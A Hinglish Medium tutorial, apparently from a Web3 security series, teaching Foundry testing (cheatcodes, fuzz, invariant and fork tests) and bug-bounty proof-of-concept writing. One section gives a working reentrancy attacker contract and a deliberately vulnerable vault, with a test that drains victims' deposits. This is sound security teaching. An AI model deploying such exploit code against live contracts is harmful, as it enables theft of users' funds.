Foundry Mastery Part 2: Testing & Exploits
Series: Web3 Security Zero se Advance 🛡️ | Article #11 By HackerMD | 28 min read
Foundry Mastery Part 2: Testing & Exploits

Series: Web3 Security Zero se Advance 🛡️ | Article #11 By HackerMD | 28 min read
Aaj Kya Seekhenge?
- Cheatcodes vm object ka poora arsenal
- Fuzz Testing random input automation
- Invariant Testing protocol ka DNA check
- Fork Testing mainnet simulation
- Console Logging debug techniques
- Gas Optimization testing
- PoC (Proof of Concept) writing real exploit!
- Complete exploit template bounty ready!
Hacker Note: Article #10 mein forge/cast/anvil basics seekhe ab asli power unleash karte hain! Fuzz testing aur PoC writing yeh woh skills hain jo ek normal developer ko $500K bounty hunter bana dete hain! 🎯
PART 1: Cheatcodes vm Object Ka Poora Arsenal!
Cheatcodes = Special functions jo EVM ko control karte hain
vm object ke through available hain
SIRF test environment mein kaam karte hain!
Production mein exist nahi karte!
Yeh tests mein kyun zaroori hain?
→ Time travel karo (timelocks test karo)
→ Kisi bhi address ban jao (access control test)
→ Free ETH/tokens lo (funds setup)
→ Storage directly set karo (state bypass)
→ External calls mock karo (isolation)
Identity Cheatcodes:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SimpleVault.sol";
contract CheatcodeTest is Test {
SimpleVault vault;
function setUp() public {
vault = new SimpleVault();
}
// ─── vm.prank() ───────────────────────
// Sirf NEXT call ke liye msg.sender change!
function test_prank_single() public {
address alice = makeAddr("alice");
vm.deal(alice, 5 ether);
vm.prank(alice);
// ↑ Sirf NEXT call: msg.sender = alice
vault.deposit{value: 1 ether}();
// ↑ Ye alice se gaya!
// Yahan wapas normal (address(this))
assertEq(vault.balances(alice), 1 ether);
}
// ─── vm.startPrank() / vm.stopPrank() ─
// Multiple calls ke liye!
function test_prank_multiple() public {
address alice = makeAddr("alice");
vm.deal(alice, 10 ether);
vm.startPrank(alice);
// ↑ Yahaan se — sab calls alice se!
vault.deposit{value: 1 ether}();
vault.deposit{value: 2 ether}();
vault.withdraw(0.5 ether);
vm.stopPrank();
// ↑ Yahaan tak alice!
assertEq(
vault.balances(alice),
2.5 ether
);
}
// ─── makeAddr() ───────────────────────
// Named test address banao!
// Same name = Same address HAMESHA!
function test_makeAddr() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address hacker = makeAddr("hacker");
// Har run mein same addresses!
// Deterministic!
assertTrue(alice != bob);
assertTrue(bob != hacker);
assertTrue(alice != hacker);
// Label: traces mein naam dikhega!
vm.label(alice, "Alice");
vm.label(bob, "Bob");
vm.label(hacker, "HACKER");
}
// ─── vm.deal() ────────────────────────
// ETH ya ERC-20 tokens do!
function test_deal_eth() public {
address alice = makeAddr("alice");
assertEq(alice.balance, 0);
vm.deal(alice, 100 ether);
assertEq(alice.balance, 100 ether);
}
function test_deal_token() public {
address usdc = address(0xA0b8...);
address alice = makeAddr("alice");
// ERC-20 balance set karo:
deal(usdc, alice, 1000e6);
// ↑ deal (without vm.) = token deal!
assertEq(
IERC20(usdc).balanceOf(alice),
1000e6
);
}
// ─── vm.store() ───────────────────────
// Storage slot directly write karo!
// Access control bypass for testing!
function test_store_override() public {
// vault.owner() = address(this) currently
// Override to alice:
address alice = makeAddr("alice");
vm.store(
address(vault),
bytes32(uint256(0)),
// ↑ Slot 0 = owner
bytes32(uint256(uint160(alice)))
// ↑ New value = alice
);
assertEq(vault.owner(), alice);
// Now alice is owner!
// Access control test ke liye!
}
// ─── vm.load() ────────────────────────
// Private storage bhi read karo!
function test_load_private() public {
// Even private variables!
bytes32 ownerSlot = vm.load(
address(vault),
bytes32(uint256(0))
);
address storedOwner = address(
uint160(uint256(ownerSlot))
);
assertEq(storedOwner, address(this));
// Private variable read kar liya! 👀
}
}
Time & Block Cheatcodes:
contract TimeCheatcodes is Test {
TimeLockVault timeLock;
address alice = makeAddr("alice");
function setUp() public {
timeLock = new TimeLockVault();
vm.deal(alice, 10 ether);
}
// ─── vm.warp() ────────────────────────
// Timestamp set karo!
function test_timelock_bypass() public {
// Alice deposits with 7 day lock:
vm.prank(alice);
timeLock.deposit{value: 1 ether}();
// Abhi withdraw try karo → FAIL!
vm.expectRevert("Still locked!");
vm.prank(alice);
timeLock.withdraw(1 ether);
// 7 days aage karo!
vm.warp(block.timestamp + 7 days + 1);
// ↑ block.timestamp jump!
// Ab withdraw karo → SUCCESS!
vm.prank(alice);
timeLock.withdraw(1 ether);
assertEq(alice.balance, 10 ether);
}
// ─── vm.roll() ────────────────────────
// Block number set karo!
function test_vesting_blocks() public {
uint256 startBlock = block.number;
// Vesting starts at current block
// Unlocks after 1000 blocks
vm.prank(alice);
vestingContract.startVesting(100 ether);
// 1000 blocks aage:
vm.roll(startBlock + 1001);
// ↑ block.number jump!
vm.prank(alice);
vestingContract.claim();
assertEq(
token.balanceOf(alice),
100 ether
);
}
// ─── Combined: warp + roll ────────────
function test_combined_time() public {
// Real world: Both timestamp + block move!
uint256 newTimestamp =
block.timestamp + 30 days;
uint256 newBlock =
block.number + 216000;
// (~30 days worth of 12-sec blocks)
vm.warp(newTimestamp);
vm.roll(newBlock);
// Now protocol thinks 30 days passed!
}
}
Error & Event Cheatcodes:
contract ErrorEventTest is Test {
SimpleVault vault;
function setUp() public {
vault = new SimpleVault();
}
// ─── vm.expectRevert() ────────────────
// Generic revert (any reason):
function test_expectAnyRevert() public {
vm.expectRevert();
vault.withdraw(999 ether);
// Koi bhi revert = test pass!
// ⚠️ Too loose! Be specific!
}
// String error:
function test_expectStringRevert() public {
vm.expectRevert("Not owner!");
vm.prank(makeAddr("notOwner"));
vault.pause();
}
// Custom error selector:
function test_expectCustomError() public {
vm.expectRevert(
SimpleVault.NotOwner.selector
);
vm.prank(makeAddr("notOwner"));
vault.pause();
}
// Custom error with args:
function test_expectErrorWithArgs() public {
vm.expectRevert(
abi.encodeWithSelector(
SimpleVault.InsufficientBalance.selector,
0, // available
1 ether // requested
)
);
vm.prank(makeAddr("poor"));
vault.withdraw(1 ether);
}
// ─── vm.expectEmit() ──────────────────
// Topics 1,2,3 + data check karo!
function test_expectEmit_full() public {
address alice = makeAddr("alice");
vm.deal(alice, 5 ether);
// Exact event expect karo:
vm.expectEmit(
true, // Check topic1 (from)?
false, // Check topic2?
false, // Check topic3?
true // Check data (amount)?
);
emit SimpleVault.Deposited(
alice, // Expected: from = alice
1 ether // Expected: amount = 1 ETH
);
vm.prank(alice);
vault.deposit{value: 1 ether}();
// Agar event exact match nahi kiya → FAIL!
}
// ─── vm.mockCall() ────────────────────
// External contract mock karo!
function test_mockOracle() public {
address oracle = address(0xORACLE);
uint256 mockedPrice = 2000e8; // $2000
vm.mockCall(
oracle,
abi.encodeWithSignature("getPrice()"),
abi.encode(mockedPrice)
);
// Protocol oracle.getPrice() call karega
// Aur hamara mocked value milega!
uint256 price = IOracle(oracle).getPrice();
assertEq(price, 2000e8);
// Mock clear karo:
vm.clearMockedCalls();
}
}
PART 2: Fuzz Testing Random Input Magic!
contract FuzzTestComplete is Test {
SimpleVault vault;
function setUp() public {
vault = new SimpleVault();
}
// ─── Basic Fuzz ───────────────────────
// function parameter = random input!
function testFuzz_deposit(
uint256 amount // ← RANDOM!
) public {
// Agar bound nahi kiya:
// amount = 0 to type(uint256).max
// Overflow possible!
// ALWAYS bound karo!
amount = bound(
amount,
0.001 ether, // min
100 ether // max
);
address alice = makeAddr("alice");
vm.deal(alice, amount);
vm.prank(alice);
vault.deposit{value: amount}();
assertEq(vault.balances(alice), amount);
}
// ─── Multiple Params Fuzz ─────────────
function testFuzz_depositWithdraw(
uint256 depositAmt,
uint256 withdrawAmt
) public {
// Bound both params:
depositAmt = bound(
depositAmt, 0.01 ether, 100 ether
);
withdrawAmt = bound(
withdrawAmt, 0.001 ether, depositAmt
);
// withdrawAmt <= depositAmt! Important!
address alice = makeAddr("alice");
vm.deal(alice, depositAmt);
vm.startPrank(alice);
vault.deposit{value: depositAmt}();
vault.withdraw(withdrawAmt);
vm.stopPrank();
assertEq(
vault.balances(alice),
depositAmt - withdrawAmt
);
}
// ─── Address Fuzz ─────────────────────
function testFuzz_multipleUsers(
address user,
uint256 amount
) public {
// Invalid addresses exclude karo:
vm.assume(user != address(0));
vm.assume(user != address(vault));
vm.assume(user.code.length == 0);
// ↑ Smart contracts exclude!
// (receive() nahi hoga)
amount = bound(amount, 0.01 ether, 10 ether);
vm.deal(user, amount);
vm.prank(user);
vault.deposit{value: amount}();
assertEq(vault.balances(user), amount);
}
// ─── bound() vs vm.assume() ───────────
function testFuzz_boundExample(
uint256 x
) public pure {
// bound: Clamp karta hai range mein
// NEVER discards test!
uint256 bounded = bound(x, 1, 100);
assertGe(bounded, 1);
assertLe(bounded, 100);
// vm.assume: Condition false = DISCARD
// Too many discards = Test fails!
// Use sparingly!
vm.assume(x > 0); // OK
vm.assume(x < 1000); // OK
vm.assume(x % 2 == 0); // Too restrictive!
// 50% inputs discard honge!
}
// ─── Security Fuzz Tests ──────────────
// "Koi bhi user kisi aur ka balance drain
// nahi kar sakta" — fuzz se verify karo!
function testFuzz_userIsolation(
uint256 aliceAmt,
uint256 bobAmt,
uint256 aliceWithdraw
) public {
aliceAmt = bound(aliceAmt, 1 ether, 100 ether);
bobAmt = bound(bobAmt, 1 ether, 100 ether);
aliceWithdraw= bound(aliceWithdraw, 0, aliceAmt);
address alice = makeAddr("alice");
address bob = makeAddr("bob");
vm.deal(alice, aliceAmt);
vm.deal(bob, bobAmt);
vm.prank(alice);
vault.deposit{value: aliceAmt}();
vm.prank(bob);
vault.deposit{value: bobAmt}();
// Alice withdraws:
vm.prank(alice);
vault.withdraw(aliceWithdraw);
// Bob ka balance UNCHANGED hona chahiye!
assertEq(
vault.balances(bob),
bobAmt,
"Bob's balance affected!"
);
}
}
# Fuzz test run karo:
forge test --match-test "testFuzz" \
--fuzz-runs 50000 \
-vv
# Agar bug milta hai:
# [FAIL. Counterexample:
# amount=0
# Reason: ZeroAmount()
# ]
# Exact failing input milta hai!
# Seed se reproduce karo:
forge test --fuzz-seed 12345 \
--fuzz-runs 1000
PART 3: Invariant Testing Protocol Ka DNA!
// Invariant = "Yeh condition HAMESHA true honi chahiye"
// Foundry random sequence of function calls karta hai
// Aur check karta hai invariant break toh nahi hua!
// ─── Handler Contract ─────────────────────
// Handler = Structured random actions wrapper
contract VaultHandler is Test {
SimpleVault vault;
// Track karo:
uint256 public totalDeposited;
uint256 public totalWithdrawn;
address[] public actors;
mapping(address => uint256) public actorDeposits;
uint256 constant NUM_ACTORS = 5;
constructor(SimpleVault _vault) {
vault = _vault;
// Actors create karo:
for (uint i = 0; i < NUM_ACTORS; i++) {
address actor = makeAddr(
string(abi.encode(i))
);
actors.push(actor);
vm.deal(actor, 100 ether);
}
}
// ─── Actions (Foundry inhe call karega) ─
function deposit(
uint256 actorSeed,
uint256 amount
) external {
// Random actor select:
address actor = actors[ actorSeed % NUM_ACTORS ];
amount = bound(amount, 0.001 ether, 10 ether);
// Actor ke paas enough ETH hai?
if (actor.balance < amount) {
vm.deal(actor, amount);
}
vm.prank(actor);
vault.deposit{value: amount}();
totalDeposited += amount;
actorDeposits[actor] += amount;
}
function withdraw(
uint256 actorSeed,
uint256 amount
) external {
address actor = actors[ actorSeed % NUM_ACTORS ];
uint256 balance = vault.balances(actor);
if (balance == 0) return;
// Kuch nahi hai → Skip!
amount = bound(amount, 1, balance);
vm.prank(actor);
vault.withdraw(amount);
totalWithdrawn += amount;
actorDeposits[actor] -= amount;
}
function getActors()
external view
returns (address[] memory)
{
return actors;
}
}
// ─── Invariant Test Contract ──────────────
contract VaultInvariantTest is Test {
SimpleVault vault;
VaultHandler handler;
function setUp() public {
vault = new SimpleVault();
handler = new VaultHandler(vault);
// Sirf handler ke through calls:
targetContract(address(handler));
// Specific functions target karo:
bytes4[] memory selectors = new bytes4[](2);
selectors[0] = VaultHandler.deposit.selector;
selectors[1] = VaultHandler.withdraw.selector;
targetSelector(
FuzzSelector({
addr: address(handler),
selectors: selectors
})
);
}
// ─── INVARIANT 1: Solvency ────────────
// Vault ka ETH balance >= totalDeposited
// (after withdrawals)
function invariant_solvency() public view {
uint256 vaultBalance =
address(vault).balance;
uint256 netDeposited =
handler.totalDeposited() -
handler.totalWithdrawn();
assertEq(
vaultBalance,
netDeposited,
"INVARIANT BROKEN: Vault insolvent!"
);
}
// ─── INVARIANT 2: Individual Balance ──
// Koi user zyada withdraw nahi kar sakta
function invariant_noOverWithdraw()
public view
{
address[] memory actors =
handler.getActors();
for (uint i = 0; i < actors.length; i++) {
uint256 vaultBal =
vault.balances(actors[i]);
uint256 tracked =
handler.actorDeposits(actors[i]);
assertEq(
vaultBal,
tracked,
"Balance tracking mismatch!"
);
}
}
// ─── INVARIANT 3: ETH Conservation ───
// ETH create ya destroy nahi ho sakta
function invariant_ethConservation()
public view
{
uint256 vaultBal = address(vault).balance;
uint256 actorSum = 0;
address[] memory actors =
handler.getActors();
for (uint i = 0; i < actors.length; i++) {
actorSum += vault.balances(actors[i]);
}
assertEq(
vaultBal,
actorSum,
"ETH conservation broken!"
);
}
}
# Invariant tests run karo:
forge test \
--match-contract "VaultInvariantTest" \
--invariant-runs 1000 \
--invariant-depth 20 \
-vvv
# Output agar bug ho:
# [FAIL] invariant_solvency()
#
# [Sequence]
# sender=0xAlice
# call=deposit(5, 1000000000000000000)
# call=withdraw(5, 999999999999999999)
# call=deposit(5, 1)
# call=withdraw(5, 2)
# ← Underflow! Bug found!
#
# Shrunk call sequence → Minimal steps!
PART 4: Fork Testing Mainnet Simulation!
contract ForkTest is Test {
// Real mainnet addresses:
address constant USDC =
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant WETH =
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant AAVE_POOL =
0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
address constant USDC_WHALE =
0x47ac0Fb4F2D84898e4D9E7b4DaB3C24507a6D503;
uint256 mainnetFork;
function setUp() public {
// Fork mainnet at specific block:
mainnetFork = vm.createFork(
vm.envString("MAINNET_RPC_URL"),
19500000
);
vm.selectFork(mainnetFork);
// Labels set karo:
vm.label(USDC, "USDC");
vm.label(WETH, "WETH");
vm.label(AAVE_POOL, "Aave Pool");
vm.label(USDC_WHALE, "USDC Whale");
}
// ─── Basic Fork Test ──────────────────
function test_fork_realUSDC() public {
IERC20 usdc = IERC20(USDC);
// Real whale ka balance check:
uint256 whaleBal = usdc.balanceOf(
USDC_WHALE
);
console.log(
"Whale USDC:",
whaleBal / 1e6
);
assertGt(whaleBal, 0);
// deal se tokens lo:
address alice = makeAddr("alice");
deal(USDC, alice, 100_000e6);
assertEq(
usdc.balanceOf(alice),
100_000e6
);
}
// ─── Real Protocol Interaction ────────
function test_fork_aaveDeposit() public {
address alice = makeAddr("alice");
// USDC lo:
deal(USDC, alice, 10_000e6);
vm.startPrank(alice);
// Aave pool mein deposit:
IERC20(USDC).approve(AAVE_POOL, 10_000e6);
IAavePool(AAVE_POOL).supply(
USDC, // Asset
10_000e6, // Amount
alice, // OnBehalfOf
0 // Referral code
);
vm.stopPrank();
// aUSDC balance check:
address aUSDC = IAavePool(AAVE_POOL)
.getReserveData(USDC)
.aTokenAddress;
uint256 aUSDCBal = IERC20(aUSDC)
.balanceOf(alice);
console.log(
"aUSDC received:",
aUSDCBal / 1e6
);
assertGt(aUSDCBal, 0);
}
// ─── Whale Impersonation ──────────────
function test_fork_impersonate() public {
// USDC whale ban jao!
vm.startPrank(USDC_WHALE);
uint256 balance = IERC20(USDC)
.balanceOf(USDC_WHALE);
console.log(
"Whale balance:",
balance / 1e6,
"USDC"
);
// Transfer karo apne address pe:
IERC20(USDC).transfer(
address(this),
1_000e6
);
vm.stopPrank();
assertEq(
IERC20(USDC).balanceOf(address(this)),
1_000e6
);
}
// ─── Multiple Forks ───────────────────
uint256 arbFork;
function test_multiFork() public {
// Already on mainnetFork!
// Arbitrum fork:
arbFork = vm.createFork(
vm.envString("ARBITRUM_RPC_URL")
);
// Mainnet pe kaam:
vm.selectFork(mainnetFork);
uint256 mainnetBlock = block.number;
console.log("Mainnet block:", mainnetBlock);
// Arbitrum pe kaam:
vm.selectFork(arbFork);
uint256 arbBlock = block.number;
console.log("Arbitrum block:", arbBlock);
// Wapas mainnet:
vm.selectFork(mainnetFork);
}
}
PART 5: Console Logging Debug Karo!
// Foundry mein console.log available hai!
// -vv flag ke saath dikhai deta hai!
import "forge-std/console.sol";
import "forge-std/console2.sol"; // Better formatting!
contract DebugTest is Test {
function test_logging() public {
// Basic types:
console.log("Hello from test!");
console.log("Number:", 12345);
console.log("Address:", address(this));
console.log("Bool:", true);
// Multiple args:
console.log(
"Transfer:",
makeAddr("alice"),
"->",
makeAddr("bob"),
"amount:",
1 ether
);
// console2 = Better formatting:
console2.log("Better log!");
console2.logBytes32(
keccak256("test")
);
// Formatted:
emit log_named_uint(
"Token balance",
12345e18
);
emit log_named_address(
"Owner",
makeAddr("owner")
);
emit log_named_bytes32(
"Hash",
keccak256("data")
);
}
function test_debugVault() public {
SimpleVault vault = new SimpleVault();
address alice = makeAddr("alice");
vm.deal(alice, 10 ether);
console.log(
"Before deposit — Alice ETH:",
alice.balance / 1e18
);
vm.prank(alice);
vault.deposit{value: 3 ether}();
console.log(
"After deposit — Alice ETH:",
alice.balance / 1e18
);
console.log(
"Alice vault balance:",
vault.balances(alice) / 1e18
);
console.log(
"Vault ETH:",
address(vault).balance / 1e18
);
}
}
# Logs dekhne ke liye -vv use karo:
forge test --match-test "test_logging" -vv
# Output:
# [PASS] test_logging()
# Logs:
# Hello from test!
# Number: 12345
# Address: 0x7FA9385bE102ac3EAc297...
# Bool: true
# Transfer: 0xAlice -> 0xBob amount: 1000000000000000000
PART 6: PoC Writing Real Exploit Development!
PoC = Proof of Concept
→ Bug ka working demonstration
→ Bug bounty ke liye MUST hai
→ Foundry test = Perfect PoC format!
PoC components:
1. Setup (fork + deploy)
2. Attack steps (numbered!)
3. Profit calculation
4. Assertion (exploit worked!)
5. Console output (readable!)
Complete PoC Template:
// test/exploits/Exploit_VulnProtocol.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
// ─── INTERFACES ───────────────────────────
// Target protocol ke interfaces
interface IVulnerableVault {
function deposit() external payable;
function withdraw(uint256 amount) external;
function balances(address) external
view returns (uint256);
}
// ─── ATTACKER CONTRACT ────────────────────
contract Attacker {
IVulnerableVault public vault;
uint256 public attackAmount;
uint256 public count;
constructor(address _vault) {
vault = IVulnerableVault(_vault);
}
function attack() external payable {
attackAmount = msg.value;
// Step 1: Deposit
vault.deposit{value: attackAmount}();
// Step 2: Trigger reentrancy
vault.withdraw(attackAmount);
}
// Reentrancy callback!
receive() external payable {
if (count < 5 &&
address(vault).balance >= attackAmount)
{
count++;
vault.withdraw(attackAmount);
}
}
function getProfit()
external view returns (uint256)
{
return address(this).balance;
}
}
// ─── VULNERABLE CONTRACT ──────────────────
// (Testing ke liye — real protocol simulate)
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// ⚠️ CEI violation — vulnerable!
function withdraw(uint256 amount) external {
require(
balances[msg.sender] >= amount,
"Insufficient!"
);
// ⚠️ External call PEHLE (WRONG!)
(bool ok,) = msg.sender.call{
value: amount
}("");
require(ok);
// ⚠️ State update BAAD MEIN (WRONG!)
balances[msg.sender] -= amount;
}
}
// ─── EXPLOIT TEST ─────────────────────────
contract ExploitTest is Test {
VulnerableVault vault;
Attacker attacker;
address victim1 = makeAddr("victim1");
address victim2 = makeAddr("victim2");
address hacker = makeAddr("hacker");
function setUp() public {
// Deploy vulnerable vault:
vault = new VulnerableVault();
// Victims deposit karte hain:
vm.deal(victim1, 10 ether);
vm.deal(victim2, 10 ether);
vm.prank(victim1);
vault.deposit{value: 10 ether}();
vm.prank(victim2);
vault.deposit{value: 10 ether}();
// Vault mein 20 ETH total!
assertEq(
address(vault).balance,
20 ether
);
// Hacker ka attacker contract:
vm.deal(hacker, 1 ether);
vm.prank(hacker);
attacker = new Attacker(address(vault));
}
function test_reentrancyExploit() public {
console.log("=== REENTRANCY EXPLOIT PoC ===");
console.log("");
// Initial state:
uint256 vaultBefore =
address(vault).balance;
uint256 hackerBefore =
address(attacker).balance;
console.log(
"Vault balance before:",
vaultBefore / 1e18,
"ETH"
);
console.log(
"Attacker balance before:",
hackerBefore / 1e18,
"ETH"
);
console.log("");
// ─── ATTACK ───────────────────────
console.log("--- ATTACK BEGINS ---");
// Hacker 1 ETH se attack karta hai:
vm.prank(hacker);
attacker.attack{value: 1 ether}();
console.log("--- ATTACK COMPLETE ---");
console.log("");
// After attack:
uint256 vaultAfter =
address(vault).balance;
uint256 hackerAfter =
address(attacker).balance;
uint256 reentryCount =
attacker.count();
console.log(
"Vault balance after:",
vaultAfter / 1e18,
"ETH"
);
console.log(
"Attacker balance after:",
hackerAfter / 1e18,
"ETH"
);
console.log(
"Reentrancy count:",
reentryCount
);
console.log(
"Profit:",
(hackerAfter - hackerBefore) / 1e18,
"ETH"
);
// ─── ASSERTIONS ───────────────────
// Attacker ne profit kamaya!
assertGt(
hackerAfter,
hackerBefore,
"Exploit failed — no profit!"
);
// Vault drained hua!
assertLt(
vaultAfter,
vaultBefore,
"Vault not drained!"
);
// Victims ka paise gaya!
assertEq(
vault.balances(victim1),
10 ether,
"Victim1 balance tracked wrong"
);
// Note: Balances update nahi hue
// (reentrancy ke wajah se)
// Lekin actual ETH gone!
assertLt(
address(vault).balance,
vault.balances(victim1) +
vault.balances(victim2),
"Vault undercollateralized!"
);
}
}
# Exploit run karo:
forge test \
--match-test "test_reentrancyExploit" \
-vvv
# Output:
# [PASS] test_reentrancyExploit()
# Logs:
# === REENTRANCY EXPLOIT PoC ===
#
# Vault balance before: 20 ETH
# Attacker balance before: 0 ETH
#
# --- ATTACK BEGINS ---
# --- ATTACK COMPLETE ---
#
# Vault balance after: 14 ETH
# Attacker balance after: 6 ETH
# Reentrancy count: 5
# Profit: 6 ETH
#
# Test result: ok. 1 passed ✅
PART 7: Bug Bounty Ready PoC Template!
// PROFESSIONAL PoC TEMPLATE
// (Immunefi submission ke liye)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
/**
* @title PoC: [VULNERABILITY NAME]
* @author HackerMD
* @notice Demonstrates [BRIEF DESCRIPTION]
*
* VULNERABILITY:
* [Contract]: [Function name]
* Type: [Reentrancy / Access Control / etc]
* Severity: [Critical / High / Medium]
*
* IMPACT:
* An attacker can [specific impact].
* Estimated loss: [Amount] ETH/USD.
*
* ROOT CAUSE:
* [Technical explanation — 2-3 lines]
*
* ATTACK STEPS:
* 1. [Step 1]
* 2. [Step 2]
* 3. [Step 3]
*
* RECOMMENDATION:
* [How to fix it]
*
* REFERENCES:
* - Affected contract: [address/link]
* - Similar past bug: [link if any]
*/
import "forge-std/Test.sol";
contract PoC_VulnerabilityName is Test {
// ─── Constants ────────────────────────
// Real protocol addresses (if fork test)
address constant TARGET_CONTRACT =
0x...;
uint256 constant FORK_BLOCK =
19500000;
// ─── State ────────────────────────────
// ITargetContract target;
// AttackerContract attacker;
// ─── Setup ────────────────────────────
function setUp() public {
// Option A: Local deploy
// target = new TargetContract();
// Option B: Fork mainnet
// vm.createSelectFork(
// vm.envString("MAINNET_RPC_URL"),
// FORK_BLOCK
// );
// target = ITargetContract(TARGET_CONTRACT);
// Labels:
// vm.label(address(target), "TARGET");
}
// ─── Main Exploit ─────────────────────
function test_exploit() public {
console.log("╔══════════════════════╗");
console.log("║ EXPLOIT: [NAME] ║");
console.log("╚══════════════════════╝");
// Initial state snapshot:
_logState("BEFORE ATTACK");
// ─── ATTACK STEPS ─────────────────
// Step 1:
console.log("\n[Step 1] Setup...");
// Step 2:
console.log("[Step 2] Attack...");
// Step 3:
console.log("[Step 3] Profit...");
// ─── AFTER ATTACK ─────────────────
_logState("AFTER ATTACK");
// ─── ASSERTIONS ───────────────────
// assertTrue(exploitSucceeded);
// assertGt(profit, 0);
}
// ─── Helper Functions ─────────────────
function _logState(
string memory label
) internal view {
console.log(
string(abi.encodePacked(
"\n--- ", label, " ---"
))
);
// console.log("Target balance:", ...);
// console.log("Attacker profit:", ...);
}
}
PART 8: Useful Foundry Tricks!
// ─── Trick 1: vm.snapshot() ───────────────
// State save aur restore!
function test_snapshot() public {
vault.deposit{value: 1 ether}();
uint256 id = vm.snapshot();
// State saved!
vault.deposit{value: 1 ether}();
assertEq(address(vault).balance, 2 ether);
vm.revertTo(id);
// State restored!
assertEq(address(vault).balance, 1 ether);
}
// ─── Trick 2: bound() with arrays ─────────
function testFuzz_arrayLength(
uint256 lengthSeed
) public {
uint256 length = bound(lengthSeed, 1, 10);
// 1 se 10 elements!
uint256[] memory arr = new uint256[](length);
// length kbhi 0 nahi hoga!
}
// ─── Trick 3: Mapping slot calculation ────
function getMapSlot(
address key,
uint256 mapSlot
) internal pure returns (bytes32) {
return keccak256(
abi.encode(key, mapSlot)
);
}
// Usage:
function test_mappingRead() public {
address alice = makeAddr("alice");
// balances mapping is at slot 0
bytes32 slot = getMapSlot(alice, 0);
bytes32 stored = vm.load(
address(vault), slot
);
uint256 balance = uint256(stored);
// Alice ka balance slot se direct!
}
// ─── Trick 4: expectCall ──────────────────
function test_expectCall() public {
address token = address(mockToken);
// Expect specific call:
vm.expectCall(
token,
abi.encodeWithSignature(
"transfer(address,uint256)",
makeAddr("alice"),
100 ether
)
);
// Yeh call trigger karega:
vault.processReward(makeAddr("alice"));
// Agar transfer call nahi hua → FAIL!
}
// ─── Trick 5: skip() ──────────────────────
function test_skipIfNoFork() public {
// Fork available nahi hai?
if (block.chainid != 1) {
skip("Mainnet fork required!");
// Test skip ho jaata hai!
}
// Mainnet-specific test...
}
Quick Revision
🔮 Cheatcodes:
vm.prank() → 1 call ke liye
vm.startPrank() → Multiple calls
vm.deal() → ETH do
deal(token, addr, amt) → ERC-20 do
vm.store() → Storage write
vm.load() → Storage read
vm.warp() → Timestamp set
vm.roll() → Block number set
vm.expectRevert() → Revert test
vm.expectEmit() → Event test
vm.mockCall() → External mock
vm.snapshot() → State save
vm.revertTo() → State restore
makeAddr("name") → Named address
🎲 Fuzz Testing:
function testFuzz_name(uint256 x)
bound(x, min, max) → ALWAYS use!
vm.assume(cond) → Sparingly use!
--fuzz-runs 10000 → More coverage
--fuzz-seed 42 → Reproducible
🏛️ Invariant Testing:
Handler contract → Random actions
targetContract() → Target specify
function invariant_ → Naming convention
assertEq in invariant → Always true!
--invariant-runs → More thorough
🌐 Fork Testing:
vm.createFork(url, block) → Fork banao
vm.selectFork(id) → Switch
deal() on real tokens → Works!
impersonate whale → Whale ban!
💥 PoC Writing:
1. Setup (fork/deploy)
2. Log initial state
3. Number attack steps
4. Log after state
5. Assert profit/damage
6. Submit to Immunefi!
Meri Baat…
Foundry Mastery Part 1 + Part 2 —
Tum ne seekha:
Part 1:
→ forge build/test/deploy
→ cast on-chain reading
→ anvil local node
→ Project structure
Part 2:
→ Cheatcodes ka arsenal
→ Fuzz testing
→ Invariant testing
→ Fork testing
→ PoC writing
Ek comparison:
Pehle (bina Foundry ke):
"Mujhe yeh contract test karna hai..."
→ JavaScript setup (2 hours)
→ Test write (30 min)
→ Run (slow)
Ab (Foundry ke saath):
"Mujhe yeh contract test karna hai..."
→ forge test likhna shuru (2 min)
→ Fuzz test add karo (5 min)
→ fork test add karo (5 min)
→ Run (seconds!)
Yeh speed advantage =
Zyada bugs in less time =
Zyada bounties!
Agle phase mein:
Security TOOLS — Slither, Mythril, Echidna!
Yahan se automated bug finding shuru hoga!
Article #12 mein: Slither Static Analysis Tool Install, run, custom detectors, CI/CD mein integrate! ⚡
HackerMD Web3 Security Researcher GitHub: BotGJ16 | Medium: @HackerMD
Previous: Article #10Foundry Mastery Part 1 Next: Article #12 Slither Static Analysis
#Foundry #FuzzTesting #InvariantTesting #PoC #Web3Security #BugBounty #Hinglish #HackerMD
메타데이터
- post_id
- 15411154b6d7
- slug
- foundry-mastery-part-2-testing-exploits-15411154b6d7
- url
- https://medium.com/@HackerMD/foundry-mastery-part-2-testing-exploits-15411154b6d7
- canonical_url
- https://medium.com/@HackerMD/foundry-mastery-part-2-testing-exploits-15411154b6d7
- author_url
- https://medium.com/@HackerMD
- status
- ok
- fetched_at
- 2026-06-09 15:37:30